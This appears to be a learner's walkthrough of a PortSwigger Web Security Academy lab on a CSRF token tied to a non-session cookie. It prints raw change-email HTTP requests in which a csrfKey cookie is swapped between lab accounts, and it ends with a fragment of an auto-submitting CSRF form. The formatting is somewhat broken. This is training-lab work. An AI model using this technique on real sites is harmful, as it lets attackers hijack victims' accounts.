CSRF where token is tied to non-session cookie
CSRF where token is tied to non-session cookie: This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system. • PortSwigger • CSRF • csrf, lab5
This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:petercarlos:montoya
In first place I will see how the requests looks like:
in this lab we have a csrfKey I believe that is the vulnerable
POST /my-account/change-email HTTP/1.1 Host: 0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Cookie: session=Zzl0XoZ9hOulNp8xm2zhhZ5QntdyD4MR; csrfKey=MPdSRipkBYlBCyF6N8TwfkEaUtguSIht User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 71 Origin: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Referer: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close email=carlos%40carlos-montoya.net&csrf=Ko4Y1q9PLp0QbtXNZdGnYPcHvlrjhjba
```sql
```sql
I believe I can use the csrfkey from carlos and run the request as wiener lets see...original request:
POST /my-account/change-email HTTP/1.1 Host: 0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Cookie: session=xZzJpEN4FbECeR8vC2nv0ws2xHMFxZ9d; csrfKey=MPdSRipkBYlBCyF6N8TwfkEaUtguSIht User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 68 Origin: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Referer: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close email=wiener%40normal-user.net&csrf=0X4mihMsfA7BD5uautvrBF1BNXeZ8Ihk
```sql
```sql
updated wiener request with csrfKey from carlos:POST /my-account/change-email HTTP/1.1 Host: 0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Cookie: session=xZzJpEN4FbECeR8vC2nv0ws2xHMFxZ9d; csrfKey=63tERr7cEoa4cK7tK8P5nnLr17fHvbv8 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 68 Origin: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net Referer: https://0abb000c04a9b3b8c0313e2900d50044.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close email=wiener%40normal-user.net&csrf=0X4mihMsfA7BD5uautvrBF1BNXeZ8Ihkresponse:
HTTP/1.1 302 Found Location: /my-account Connection: close Content-Length: 0
Crafted html
 document.forms[0].submit();